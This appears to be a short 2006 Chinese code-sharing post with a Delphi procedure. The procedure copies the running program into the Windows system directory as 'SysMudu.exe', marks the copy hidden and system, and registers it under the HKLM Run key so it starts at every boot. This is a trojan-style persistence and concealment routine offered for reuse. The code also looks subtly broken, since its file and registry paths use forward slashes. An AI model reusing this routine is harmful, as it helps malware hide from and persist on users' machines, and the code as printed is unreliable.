您的位置:首页 > 其它

自我复制到系统目录中,并写注册表,使程序开机自动运行

2006-04-06 11:29 471 查看
procedure TForm1.CopyNWriteRegestry;
var Path:array [0..255] of char;
Hk:HKEY;
SysStr,CurStr:string;
begin
//以下是自我复制,首先判断该程序是否存在,再决定是否进行复制
GetSystemDirectory(Path,255);
SysStr:=StrPas(Path);
CurStr:=GetCurrentDir;
CopyFile(pchar(CurStr+'/SysMudu.exe'),pchar(SysStr+'/SysMudu.exe'),True);
SetFileAttributes(pchar(SysStr+'/SysMudu.exe'),
FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//以下是写注册表,使开机自动运行
RegOpenKey(HKEY_LOCAL_MACHINE,
'Software/Microsoft/Windows/CurrentVersion/Run',Hk);
RegSetValueEx(Hk,'SysMudu',0,REG_SZ,PChar(SysStr+'/sysMudu.exe'),50);
end;
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: